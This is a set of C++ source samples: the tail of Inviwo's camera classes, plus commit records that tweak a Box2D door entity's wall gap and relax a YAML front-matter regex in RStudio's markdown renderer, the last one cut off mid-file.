, aspectRatio_(aspectRatio) {}
PerspectiveCamera::PerspectiveCamera(const PerspectiveCamera& other)
: Camera(other), fovy_{other.fovy_}, aspectRatio_{other.aspectRatio_} {}
PerspectiveCamera& PerspectiveCamera::operator=(const PerspectiveCamera& other) {
if (this != &other) {
Camera::operator=(other);
fovy_ = other.fovy_;
aspectRatio_ = other.aspectRatio_;
}
return *this;
}
PerspectiveCamera* PerspectiveCamera::clone() const { return new PerspectiveCamera(*this); }
bool PerspectiveCamera::update(const Camera* source) {
if (auto perspectiveCamera = dynamic_cast<const PerspectiveCamera*>(source)) {
*this = *perspectiveCamera;
return true;
} else {
return false;
}
}
void PerspectiveCamera::configureProperties(CompositeProperty* comp, Config config) {
auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"));
if (config == Config::Hide) {
if (fovProp) fovProp->setVisible(false);
return;
}
if (fovProp) {
setFovy(fovProp->get());
} else {
float initialFov = 38.0f;
if (auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"))) {
initialFov = glm::degrees(2.0f * std::atan(widthProp->get() / 2.0f /
glm::distance(getLookTo(), getLookFrom())));
}
fovProp = new FloatProperty("fov", "FOV", initialFov, 10.0f, 180.0f, 0.1f);
fovProp->setSerializationMode(PropertySerializationMode::All);
fovProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, fovProp, true);
}
fovProp->setVisible(true);
fovCallbackHolder_ = fovProp->onChangeScoped([this, fovProp]() { setFovy(fovProp->get()); });
}
bool operator==(const PerspectiveCamera& lhs, const PerspectiveCamera& rhs) {
return lhs.equalTo(rhs) && lhs.fovy_ == rhs.fovy_ && lhs.aspectRatio_ == rhs.aspectRatio_;
}
bool operator!=(const PerspectiveCamera& lhs, const PerspectiveCamera& rhs) {
return !(lhs == rhs);
}
void PerspectiveCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("fovy", fovy_);
s.serialize("aspectRatio", aspectRatio_);
}
void PerspectiveCamera::deserialize(Deserializer& d) {
d.deserialize("fovy", fovy_);
d.deserialize("aspectRatio", aspectRatio_);
Camera::deserialize(d);
}
OrthographicCamera::OrthographicCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane,
float farPlane, float width, float aspectRatio)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, aspectRatio_{aspectRatio}
, width_{width} {}
OrthographicCamera::OrthographicCamera(const OrthographicCamera& other)
: Camera(other), aspectRatio_{other.aspectRatio_}, width_{other.width_} {}
OrthographicCamera& OrthographicCamera::operator=(const OrthographicCamera& other) {
if (this != &other) {
Camera::operator=(other);
aspectRatio_ = other.aspectRatio_;
width_ = other.width_;
}
return *this;
}
OrthographicCamera* OrthographicCamera::clone() const { return new OrthographicCamera(*this); }
bool OrthographicCamera::update(const Camera* source) {
if (auto orthographicCamera = dynamic_cast<const OrthographicCamera*>(source)) {
*this = *orthographicCamera;
return true;
} else {
return false;
}
}
void OrthographicCamera::configureProperties(CompositeProperty* comp, Config config) {
auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"));
if (config == Config::Hide) {
if (widthProp) widthProp->setVisible(false);
return;
}
if (widthProp) {
setWidth(widthProp->get());
} else {
float initialWidth = 10.0f;
if (auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"))) {
initialWidth = glm::distance(getLookTo(), getLookFrom()) *
std::tan(0.5f * glm::radians(fovProp->get()));
}
widthProp = new FloatProperty("width", "Width", initialWidth, 0.01f, 1000.0f, 0.1f);
comp->insertProperty(comp->size() - 1, widthProp, true);
widthProp->setSerializationMode(PropertySerializationMode::All);
}
widthProp->setVisible(true);
widthCallbackHolder_ =
widthProp->onChangeScoped([this, widthProp]() { setWidth(widthProp->get()); });
}
bool operator==(const OrthographicCamera& lhs, const OrthographicCamera& rhs) {
return lhs.equalTo(rhs) && lhs.width_ == rhs.width_;
}
bool operator!=(const OrthographicCamera& lhs, const OrthographicCamera& rhs) {
return !(rhs == lhs);
}
mat4 OrthographicCamera::calculateProjectionMatrix() const {
const float halfWidth = 0.5f * width_;
const float halfHeight = halfWidth / aspectRatio_;
return glm::ortho(-halfWidth, +halfWidth, -halfHeight, +halfHeight, nearPlaneDist_,
farPlaneDist_);
}
vec4 OrthographicCamera::getClipPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
return vec4{ndcCoords, 1.0f};
}
void OrthographicCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("aspectRatio", aspectRatio_);
s.serialize("width", width_);
}
void OrthographicCamera::deserialize(Deserializer& d) {
d.deserialize("aspectRatio", aspectRatio_);
d.deserialize("width", width_);
Camera::deserialize(d);
}
SkewedPerspectiveCamera::SkewedPerspectiveCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp,
float nearPlane, float farPlane, float fieldOfView,
float aspectRatio, vec2 offset)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, fovy_(fieldOfView)
, aspectRatio_(aspectRatio)
, offset_(offset) {}
SkewedPerspectiveCamera::SkewedPerspectiveCamera(const SkewedPerspectiveCamera& other)
: Camera(other), fovy_{other.fovy_}, aspectRatio_{other.aspectRatio_}, offset_{other.offset_} {}
SkewedPerspectiveCamera& SkewedPerspectiveCamera::operator=(const SkewedPerspectiveCamera& other) {
if (this != &other) {
Camera::operator=(other);
fovy_ = other.fovy_;
aspectRatio_ = other.aspectRatio_;
offset_ = other.offset_;
}
return *this;
}
SkewedPerspectiveCamera* SkewedPerspectiveCamera::clone() const {
return new SkewedPerspectiveCamera(*this);
}
bool SkewedPerspectiveCamera::update(const Camera* source) {
if (auto skewedPerspectiveCamera = dynamic_cast<const SkewedPerspectiveCamera*>(source)) {
*this = *skewedPerspectiveCamera;
return true;
} else {
return false;
}
}
void SkewedPerspectiveCamera::configureProperties(CompositeProperty* comp, Config config) {
auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"));
auto offsetProp = dynamic_cast<FloatVec2Property*>(comp->getPropertyByIdentifier("separation"));
if (config == Config::Hide) {
if (fovProp) fovProp->setVisible(false);
if (offsetProp) offsetProp->setVisible(false);
return;
}
if (fovProp) {
setFovy(fovProp->get());
} else {
float initialFov = 38.0f;
if (auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"))) {
initialFov = glm::degrees(2.0f * std::atan(widthProp->get() / 2.0f /
glm::distance(getLookTo(), getLookFrom())));
}
fovProp = new FloatProperty("fov", "FOV", initialFov, 10.0f, 180.0f, 0.1f);
fovProp->setSerializationMode(PropertySerializationMode::All);
fovProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, fovProp, true);
}
fovProp->setVisible(true);
fovCallbackHolder_ = fovProp->onChangeScoped([this, fovProp]() { setFovy(fovProp->get()); });
if (offsetProp) {
setOffset(offsetProp->get());
} else {
offsetProp = new FloatVec2Property("separation", "Separation", vec2(0.0f), vec2(-10.0f),
vec2(10.0f), vec2(0.01f));
offsetProp->setSerializationMode(PropertySerializationMode::All);
offsetProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, offsetProp, true);
}
offsetProp->setVisible(true);
offsetCallbackHolder_ =
offsetProp->onChangeScoped([this, offsetProp]() { setOffset(offsetProp->get()); });
}
bool operator==(const SkewedPerspectiveCamera& lhs, const SkewedPerspectiveCamera& rhs) {
return lhs.equalTo(rhs) && lhs.fovy_ == rhs.fovy_ && lhs.aspectRatio_ == rhs.aspectRatio_ &&
glm::all(glm::equal(lhs.offset_, rhs.offset_));
}
bool operator!=(const SkewedPerspectiveCamera& lhs, const SkewedPerspectiveCamera& rhs) {
return !(lhs == rhs);
}
mat4 SkewedPerspectiveCamera::calculateViewMatrix() const {
const vec3 xoffset{offset_.x * glm::normalize(glm::cross(lookTo_ - lookFrom_, lookUp_))};
const vec3 yoffset{offset_.y * lookUp_};
return glm::lookAt(lookFrom_ + xoffset + yoffset, lookTo_ + xoffset + yoffset, lookUp_);
}
mat4 SkewedPerspectiveCamera::calculateProjectionMatrix() const {
const float halfHeight = nearPlaneDist_ * std::tan(0.5f * glm::radians(fovy_));
const float halfWidth = halfHeight * aspectRatio_;
const float scale = nearPlaneDist_ / glm::distance(lookTo_, lookFrom_);
// Move the frustum in the opposite direction as the lookFrom.
const float left = -halfWidth - offset_.x * scale;
const float right = +halfWidth - offset_.x * scale;
const float bottom = -halfHeight - offset_.y * scale;
const float top = +halfHeight - offset_.y * scale;
return glm::frustum(left, right, bottom, top, nearPlaneDist_, farPlaneDist_);
}
void SkewedPerspectiveCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("fovy", fovy_);
s.serialize("aspectRatio", aspectRatio_);
s.serialize("offset", offset_);
}
void SkewedPerspectiveCamera::deserialize(Deserializer& d) {
d.deserialize("fovy", fovy_);
d.deserialize("aspectRatio", aspectRatio_);
d.deserialize("offset", offset_);
Camera::deserialize(d);
}
} // namespace inviwo
<|endoftext|>
|
<commit_before>//
// Created by dar on 2/29/16.
//
#include "EntityDoor.h"
EntityDoor::EntityDoor(Map *map, unsigned char type) : EntityMoving(map, 1.0, 0.25), type(type) {
b2PolygonShape shape;
shape.SetAsBox(0.5 - 0.05, 0.125);
b2FixtureDef fixDef;
fixDef.shape = &shape;
fixDef.density = 0.9f;
fixDef.friction = 0.1f;
this->body->CreateFixture(&fixDef);
this->hinge = this->map->getWorld()->CreateBody(&bodyDef);
b2CircleShape circleShape;
circleShape.m_radius = 0.001;
fixDef.shape = &circleShape;
this->hinge->CreateFixture(&fixDef);
this->hinge->SetUserData(this);
this->hinge->SetAngularDamping(30.0);
this->hinge->SetLinearDamping(30.0);
this->hinge->CreateFixture(&fixDef);
b2RevoluteJointDef revoluteJointDef;
revoluteJointDef.localAnchorA.Set(this->getHingeOffsetX(), this->getHingeOffsetY()); //-0.125 for hinge on top, 0.125 on bottom
revoluteJointDef.localAnchorB.Set(0, 0);
//inside the loop, only need to change the bodies to be joined
revoluteJointDef.bodyA = this->body;
revoluteJointDef.bodyB = this->hinge;
this->map->getWorld()->CreateJoint(&revoluteJointDef);
this->setLocked(true);
}
void EntityDoor::setX(double x) {
Entity::setX(x);
}
void EntityDoor::setY(double y) {
Entity::setY(y);
}
double EntityDoor::getHingeX() {
return this->hinge->GetPosition().x;
}
double EntityDoor::getHingeY() {
return this->hinge->GetPosition().y;
}
void EntityDoor::setHingePos(double x, double y) {
this->hinge->SetTransform(b2Vec2((float32) x, (float32) y), this->hinge->GetAngle());
}<commit_msg>Increased wall gap slightly<commit_after>//
// Created by dar on 2/29/16.
//
#include "EntityDoor.h"
EntityDoor::EntityDoor(Map *map, unsigned char type) : EntityMoving(map, 1.0, 0.25), type(type) {
b2PolygonShape shape;
shape.SetAsBox(0.5 - 0.07, 0.125);
b2FixtureDef fixDef;
fixDef.shape = &shape;
fixDef.density = 0.9f;
fixDef.friction = 0.1f;
this->body->CreateFixture(&fixDef);
this->hinge = this->map->getWorld()->CreateBody(&bodyDef);
b2CircleShape circleShape;
circleShape.m_radius = 0.001;
fixDef.shape = &circleShape;
this->hinge->CreateFixture(&fixDef);
this->hinge->SetUserData(this);
this->hinge->SetAngularDamping(30.0);
this->hinge->SetLinearDamping(30.0);
this->hinge->CreateFixture(&fixDef);
b2RevoluteJointDef revoluteJointDef;
revoluteJointDef.localAnchorA.Set(this->getHingeOffsetX(), this->getHingeOffsetY()); //-0.125 for hinge on top, 0.125 on bottom
revoluteJointDef.localAnchorB.Set(0, 0);
//inside the loop, only need to change the bodies to be joined
revoluteJointDef.bodyA = this->body;
revoluteJointDef.bodyB = this->hinge;
this->map->getWorld()->CreateJoint(&revoluteJointDef);
this->setLocked(true);
}
void EntityDoor::setX(double x) {
Entity::setX(x);
}
void EntityDoor::setY(double y) {
Entity::setY(y);
}
double EntityDoor::getHingeX() {
return this->hinge->GetPosition().x;
}
double EntityDoor::getHingeY() {
return this->hinge->GetPosition().y;
}
void EntityDoor::setHingePos(double x, double y) {
this->hinge->SetTransform(b2Vec2((float32) x, (float32) y), this->hinge->GetAngle());
}<|endoftext|>
|
<commit_before>/*
* Markdown.cpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#include <core/markdown/Markdown.hpp>
#include <iostream>
#include <boost/foreach.hpp>
#include <boost/scoped_ptr.hpp>
#include <boost/regex.hpp>
#include <boost/algorithm/string/join.hpp>
#include <boost/algorithm/string/split.hpp>
#include <boost/algorithm/string/predicate.hpp>
#include <core/Error.hpp>
#include <core/FilePath.hpp>
#include <core/StringUtils.hpp>
#include <core/FileSerializer.hpp>
#include "MathJax.hpp"
#include "sundown/markdown.h"
#include "sundown/html.h"
namespace core {
namespace markdown {
namespace {
class SundownBuffer : boost::noncopyable
{
public:
explicit SundownBuffer(std::size_t unit = 128)
: pBuff_(NULL)
{
pBuff_ = ::bufnew(unit);
}
explicit SundownBuffer(const std::string& str)
{
pBuff_ = ::bufnew(str.length());
if (pBuff_ != NULL)
{
if (grow(str.length()) == BUF_OK)
{
put(str);
}
else
{
::bufrelease(pBuff_);
pBuff_ = NULL;
}
}
}
~SundownBuffer()
{
if (pBuff_)
::bufrelease(pBuff_);
}
// COPYING: prohibited (boost::noncopyable)
bool allocated() const { return pBuff_ != NULL; }
int grow(std::size_t size)
{
return ::bufgrow(pBuff_, size);
}
void put(const std::string& str)
{
::bufput(pBuff_, str.data(), str.length());
}
uint8_t* data() const
{
return pBuff_->data;
}
std::size_t size() const
{
return pBuff_->size;
}
const char* c_str() const
{
return ::bufcstr(pBuff_);
}
operator buf*() const
{
return pBuff_;
}
private:
friend class SundownMarkdown;
buf* pBuff_;
};
class SundownMarkdown : boost::noncopyable
{
public:
SundownMarkdown(unsigned int extensions,
size_t maxNesting,
const struct sd_callbacks* pCallbacks,
void *pOpaque)
: pMD_(NULL)
{
pMD_ = ::sd_markdown_new(extensions, maxNesting, pCallbacks, pOpaque);
}
~SundownMarkdown()
{
if (pMD_)
::sd_markdown_free(pMD_);
}
// COPYING: prohibited (boost::noncopyable)
bool allocated() const { return pMD_ != NULL; }
void render(const SundownBuffer& input, SundownBuffer* pOutput)
{
::sd_markdown_render(pOutput->pBuff_,
input.pBuff_->data,
input.pBuff_->size,
pMD_);
}
private:
struct sd_markdown* pMD_;
};
Error allocationError(const ErrorLocation& location)
{
return systemError(boost::system::errc::not_enough_memory, location);
}
Error renderMarkdown(const SundownBuffer& inputBuffer,
const Extensions& extensions,
bool smartypants,
struct sd_callbacks* pHtmlCallbacks,
struct html_renderopt* pHtmlOptions,
std::string* pOutput)
{
// render markdown
const int kMaxNesting = 16;
int mdExt = 0;
if (extensions.noIntraEmphasis)
mdExt |= MKDEXT_NO_INTRA_EMPHASIS;
if (extensions.tables)
mdExt |= MKDEXT_TABLES;
if (extensions.fencedCode)
mdExt |= MKDEXT_FENCED_CODE;
if (extensions.autolink)
mdExt |= MKDEXT_AUTOLINK;
if (extensions.strikethrough)
mdExt |= MKDEXT_STRIKETHROUGH;
if (extensions.laxSpacing)
mdExt |= MKDEXT_LAX_SPACING;
if (extensions.spaceHeaders)
mdExt |= MKDEXT_SPACE_HEADERS;
if (extensions.superscript)
mdExt |= MKDEXT_SUPERSCRIPT;
SundownMarkdown md(mdExt, kMaxNesting, pHtmlCallbacks, pHtmlOptions);
if (!md.allocated())
return allocationError(ERROR_LOCATION);
SundownBuffer outputBuffer;
md.render(inputBuffer, &outputBuffer);
// do smartypants substitution if requested
if (smartypants)
{
SundownBuffer smartyBuffer;
if (!smartyBuffer.allocated())
return allocationError(ERROR_LOCATION);
::sdhtml_smartypants(smartyBuffer,
outputBuffer.data(),
outputBuffer.size());
*pOutput = smartyBuffer.c_str();
}
else
{
*pOutput = outputBuffer.c_str();
}
return Success();
}
void stripMetadata(std::string* pInput)
{
// split into lines
std::vector<std::string> lines;
boost::algorithm::split(lines, *pInput, boost::algorithm::is_any_of("\n"));
// front matter delimiter regex
boost::regex frontMatterDelimiterRegex("^\\-\\-\\-\\s*$");
// check the first non-empy line for metadata
bool hasFrontMatter = false, hasPandocTitleBlock = false;
BOOST_FOREACH(const std::string& line, lines)
{
if (boost::algorithm::trim_copy(line).empty())
{
continue;
}
else if (boost::regex_search(line, frontMatterDelimiterRegex))
{
hasFrontMatter = true;
break;
}
else if (boost::algorithm::starts_with(line, "%"))
{
hasPandocTitleBlock = true;
break;
}
}
std::size_t firstDocumentLine = 0;
if (hasFrontMatter)
{
bool inFrontMatter = false;
boost::regex frontMatterFieldRegex("^[^:]+: .*$");
boost::regex frontMatterContinuationRegex("^\\s+[^\\s].*$");
for(std::size_t i=0; i<lines.size(); i++)
{
const std::string& line = lines[i];
if (boost::algorithm::trim_copy(line).empty() && !inFrontMatter)
{
continue;
}
else if (boost::regex_search(line, frontMatterDelimiterRegex))
{
if (!inFrontMatter)
{
inFrontMatter = true;
}
else if (inFrontMatter)
{
firstDocumentLine = i+1;
break;
}
}
else if (!boost::regex_search(line, frontMatterFieldRegex) &&
!boost::regex_search(line,frontMatterContinuationRegex))
{
break;
}
}
}
else if (hasPandocTitleBlock)
{
bool inTitleBlock = false;
boost::regex titleBlockPercentRegex("^%.*$");
boost::regex titleBlockContinuationRegex("^ .+$");
for(std::size_t i=0; i<lines.size(); i++)
{
const std::string& line = lines[i];
if (boost::algorithm::trim_copy(line).empty() && !inTitleBlock)
{
continue;
}
else if (boost::regex_search(line, titleBlockPercentRegex))
{
inTitleBlock = true;
}
else if (boost::regex_search(line, titleBlockContinuationRegex) &&
inTitleBlock)
{
continue;
}
else
{
firstDocumentLine = i;
break;
}
}
}
// if we detected a metadata block then trim the document as necessary
if (firstDocumentLine > 0 && firstDocumentLine < lines.size())
{
lines.erase(lines.begin(), lines.begin() + firstDocumentLine);
*pInput = boost::algorithm::join(lines, "\n");
}
}
} // anonymous namespace
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const FilePath& markdownFile,
const Extensions& extensions,
const HTMLOptions& options,
const FilePath& htmlFile)
{
std::string markdownOutput;
Error error = markdownToHTML(markdownFile,
extensions,
options,
&markdownOutput);
if (error)
return error;
return core::writeStringToFile(htmlFile,
markdownOutput,
string_utils::LineEndingNative);
}
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const FilePath& markdownFile,
const Extensions& extensions,
const HTMLOptions& options,
std::string* pHTMLOutput)
{
std::string markdownInput;
Error error = core::readStringFromFile(markdownFile,
&markdownInput,
string_utils::LineEndingPosix);
if (error)
return error;
return markdownToHTML(markdownInput, extensions, options, pHTMLOutput);
}
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const std::string& markdownInput,
const Extensions& extensions,
const HTMLOptions& options,
std::string* pHTMLOutput)
{
// exclude fenced code blocks
std::vector<ExcludePattern> excludePatterns;
excludePatterns.push_back(ExcludePattern(boost::regex("^`{3,}[^\\n]*?$"),
boost::regex("^`{3,}\\s*$")));
// exclude inline verbatim code
excludePatterns.push_back(ExcludePattern(boost::regex("`[^\\n]+?`")));
// exclude indented code blocks
excludePatterns.push_back(ExcludePattern(
boost::regex("(\\A|\\A\\s*\\n|\\n\\s*\\n)(( {4}|\\t)[^\\n]*\\n)*(( {4}|\\t)[^\\n]*)")));
std::string input = markdownInput;
boost::scoped_ptr<MathJaxFilter> pMathFilter;
if (extensions.ignoreMath)
{
pMathFilter.reset(new MathJaxFilter(excludePatterns,
&input,
pHTMLOutput));
}
// strip yaml front-matter / pandoc metadata if requested
if (extensions.stripMetadata)
stripMetadata(&input);
// special case of empty input after stripping metadata
if (input.empty())
{
*pHTMLOutput = input;
return Success();
}
// setup input buffer
SundownBuffer inputBuffer(input);
if (!inputBuffer.allocated())
return allocationError(ERROR_LOCATION);
// render table of contents if requested
if (options.toc)
{
struct sd_callbacks htmlCallbacks;
struct html_renderopt htmlOptions;
::sdhtml_toc_renderer(&htmlCallbacks, &htmlOptions);
std::string tocOutput;
Error error = renderMarkdown(inputBuffer,
extensions,
options.smartypants,
&htmlCallbacks,
&htmlOptions,
&tocOutput);
if (error)
return error;
pHTMLOutput->append("<div id=\"toc\">\n");
pHTMLOutput->append("<div id=\"toc_header\">Table of Contents</div>\n");
pHTMLOutput->append(tocOutput);
pHTMLOutput->append("</div>\n");
pHTMLOutput->append("\n");
}
// setup html renderer
struct sd_callbacks htmlCallbacks;
struct html_renderopt htmlOptions;
int htmlRenderMode = 0;
if (options.useXHTML)
htmlRenderMode |= HTML_USE_XHTML;
if (options.hardWrap)
htmlRenderMode |= HTML_HARD_WRAP;
if (options.toc)
htmlRenderMode |= HTML_TOC;
if (options.safelink)
htmlRenderMode |= HTML_SAFELINK;
if (options.skipHTML)
htmlRenderMode |= HTML_SKIP_HTML;
if (options.skipStyle)
htmlRenderMode |= HTML_SKIP_STYLE;
if (options.skipImages)
htmlRenderMode |= HTML_SKIP_IMAGES;
if (options.skipLinks)
htmlRenderMode |= HTML_SKIP_LINKS;
if (options.escape)
htmlRenderMode |= HTML_ESCAPE;
::sdhtml_renderer(&htmlCallbacks, &htmlOptions, htmlRenderMode);
// render page
std::string output;
Error error = renderMarkdown(inputBuffer,
extensions,
options.smartypants,
&htmlCallbacks,
&htmlOptions,
&output);
if (error)
return error;
// append output and return success
pHTMLOutput->append(output);
return Success();
}
bool isMathJaxRequired(const std::string& htmlOutput)
{
return requiresMathjax(htmlOutput);
}
} // namespace markdown
} // namespace core
<commit_msg>tolerate yaml fields with no content (mutli-line lists)<commit_after>/*
* Markdown.cpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#include <core/markdown/Markdown.hpp>
#include <iostream>
#include <boost/foreach.hpp>
#include <boost/scoped_ptr.hpp>
#include <boost/regex.hpp>
#include <boost/algorithm/string/join.hpp>
#include <boost/algorithm/string/split.hpp>
#include <boost/algorithm/string/predicate.hpp>
#include <core/Error.hpp>
#include <core/FilePath.hpp>
#include <core/StringUtils.hpp>
#include <core/FileSerializer.hpp>
#include "MathJax.hpp"
#include "sundown/markdown.h"
#include "sundown/html.h"
namespace core {
namespace markdown {
namespace {
class SundownBuffer : boost::noncopyable
{
public:
explicit SundownBuffer(std::size_t unit = 128)
: pBuff_(NULL)
{
pBuff_ = ::bufnew(unit);
}
explicit SundownBuffer(const std::string& str)
{
pBuff_ = ::bufnew(str.length());
if (pBuff_ != NULL)
{
if (grow(str.length()) == BUF_OK)
{
put(str);
}
else
{
::bufrelease(pBuff_);
pBuff_ = NULL;
}
}
}
~SundownBuffer()
{
if (pBuff_)
::bufrelease(pBuff_);
}
// COPYING: prohibited (boost::noncopyable)
bool allocated() const { return pBuff_ != NULL; }
int grow(std::size_t size)
{
return ::bufgrow(pBuff_, size);
}
void put(const std::string& str)
{
::bufput(pBuff_, str.data(), str.length());
}
uint8_t* data() const
{
return pBuff_->data;
}
std::size_t size() const
{
return pBuff_->size;
}
const char* c_str() const
{
return ::bufcstr(pBuff_);
}
operator buf*() const
{
return pBuff_;
}
private:
friend class SundownMarkdown;
buf* pBuff_;
};
class SundownMarkdown : boost::noncopyable
{
public:
SundownMarkdown(unsigned int extensions,
size_t maxNesting,
const struct sd_callbacks* pCallbacks,
void *pOpaque)
: pMD_(NULL)
{
pMD_ = ::sd_markdown_new(extensions, maxNesting, pCallbacks, pOpaque);
}
~SundownMarkdown()
{
if (pMD_)
::sd_markdown_free(pMD_);
}
// COPYING: prohibited (boost::noncopyable)
bool allocated() const { return pMD_ != NULL; }
void render(const SundownBuffer& input, SundownBuffer* pOutput)
{
::sd_markdown_render(pOutput->pBuff_,
input.pBuff_->data,
input.pBuff_->size,
pMD_);
}
private:
struct sd_markdown* pMD_;
};
Error allocationError(const ErrorLocation& location)
{
return systemError(boost::system::errc::not_enough_memory, location);
}
Error renderMarkdown(const SundownBuffer& inputBuffer,
const Extensions& extensions,
bool smartypants,
struct sd_callbacks* pHtmlCallbacks,
struct html_renderopt* pHtmlOptions,
std::string* pOutput)
{
// render markdown
const int kMaxNesting = 16;
int mdExt = 0;
if (extensions.noIntraEmphasis)
mdExt |= MKDEXT_NO_INTRA_EMPHASIS;
if (extensions.tables)
mdExt |= MKDEXT_TABLES;
if (extensions.fencedCode)
mdExt |= MKDEXT_FENCED_CODE;
if (extensions.autolink)
mdExt |= MKDEXT_AUTOLINK;
if (extensions.strikethrough)
mdExt |= MKDEXT_STRIKETHROUGH;
if (extensions.laxSpacing)
mdExt |= MKDEXT_LAX_SPACING;
if (extensions.spaceHeaders)
mdExt |= MKDEXT_SPACE_HEADERS;
if (extensions.superscript)
mdExt |= MKDEXT_SUPERSCRIPT;
SundownMarkdown md(mdExt, kMaxNesting, pHtmlCallbacks, pHtmlOptions);
if (!md.allocated())
return allocationError(ERROR_LOCATION);
SundownBuffer outputBuffer;
md.render(inputBuffer, &outputBuffer);
// do smartypants substitution if requested
if (smartypants)
{
SundownBuffer smartyBuffer;
if (!smartyBuffer.allocated())
return allocationError(ERROR_LOCATION);
::sdhtml_smartypants(smartyBuffer,
outputBuffer.data(),
outputBuffer.size());
*pOutput = smartyBuffer.c_str();
}
else
{
*pOutput = outputBuffer.c_str();
}
return Success();
}
void stripMetadata(std::string* pInput)
{
// split into lines
std::vector<std::string> lines;
boost::algorithm::split(lines, *pInput, boost::algorithm::is_any_of("\n"));
// front matter delimiter regex
boost::regex frontMatterDelimiterRegex("^\\-\\-\\-\\s*$");
// check the first non-empy line for metadata
bool hasFrontMatter = false, hasPandocTitleBlock = false;
BOOST_FOREACH(const std::string& line, lines)
{
if (boost::algorithm::trim_copy(line).empty())
{
continue;
}
else if (boost::regex_search(line, frontMatterDelimiterRegex))
{
hasFrontMatter = true;
break;
}
else if (boost::algorithm::starts_with(line, "%"))
{
hasPandocTitleBlock = true;
break;
}
}
std::size_t firstDocumentLine = 0;
if (hasFrontMatter)
{
bool inFrontMatter = false;
boost::regex frontMatterFieldRegex("^[^:]+:.*$");
boost::regex frontMatterContinuationRegex("^\\s+[^\\s].*$");
for(std::size_t i=0; i<lines.size(); i++)
{
const std::string& line = lines[i];
if (boost::algorithm::trim_copy(line).empty() && !inFrontMatter)
{
continue;
}
else if (boost::regex_search(line, frontMatterDelimiterRegex))
{
if (!inFrontMatter)
{
inFrontMatter = true;
}
else if (inFrontMatter)
{
firstDocumentLine = i+1;
break;
}
}
else if (!boost::regex_search(line, frontMatterFieldRegex) &&
!boost::regex_search(line,frontMatterContinuationRegex))
{
break;
}
}
}
else if (hasPandocTitleBlock)
{
bool inTitleBlock = false;
boost::regex titleBlockPercentRegex("^%.*$");
boost::regex titleBlockContinuationRegex("^ .+$");
for(std::size_t i=0; i<lines.size(); i++)
{
const std::string& line = lines[i];
if (boost::algorithm::trim_copy(line).empty() && !inTitleBlock)
{
continue;
}
else if (boost::regex_search(line, titleBlockPercentRegex))
{
inTitleBlock = true;
}
else if (boost::regex_search(line, titleBlockContinuationRegex) &&
inTitleBlock)
{
continue;
}
else
{
firstDocumentLine = i;
break;
}
}
}
// if we detected a metadata block then trim the document as necessary
if (firstDocumentLine > 0 && firstDocumentLine < lines.size())
{
lines.erase(lines.begin(), lines.begin() + firstDocumentLine);
*pInput = boost::algorithm::join(lines, "\n");
}
}
} // anonymous namespace
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const FilePath& markdownFile,
const Extensions& extensions,
const HTMLOptions& options,
const FilePath& htmlFile)
{
std::string markdownOutput;
Error error = markdownToHTML(markdownFile,
extensions,
options,
&markdownOutput);
if (error)
return error;
return core::writeStringToFile(htmlFile,
markdownOutput,
string_utils::LineEndingNative);
}
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const FilePath& markdownFile,
const Extensions& extensions,
const HTMLOptions& options,
std::string* pHTMLOutput)
{
std::string markdownInput;
Error error = core::readStringFromFile(markdownFile,
&markdownInput,
string_utils::LineEndingPosix);
if (error)
return error;
return markdownToHTML(markdownInput, extensions, options, pHTMLOutput);
}
// render markdown to HTML -- assumes UTF-8 encoding
Error markdownToHTML(const std::string& markdownInput,
const Extensions& extensions,
const HTMLOptions& options,
std::string* pHTMLOutput)
{
// exclude fenced code blocks
std::vector<ExcludePattern> excludePatterns;
excludePatterns.push_back(ExcludePattern(boost::regex("^`{3,}[^\\n]*?$"),
boost::regex("^`{3,}\\s*$")));
// exclude inline verbatim code
excludePatterns.push_back(ExcludePattern(boost::regex("`[^\\n]+?`")));
// exclude indented code blocks
excludePatterns.push_back(ExcludePattern(
boost::regex("(\\A|\\A\\s*\\n|\\n\\s*\\n)(( {4}|\\t)[^\\n]*\\n)*(( {4}|\\t)[^\\n]*)")));
std::string input = markdownInput;
boost::scoped_ptr<MathJaxFilter> pMathFilter;
if (extensions.ignoreMath)
{
pMathFilter.reset(new MathJaxFilter(excludePatterns,
&input,
pHTMLOutput));
}
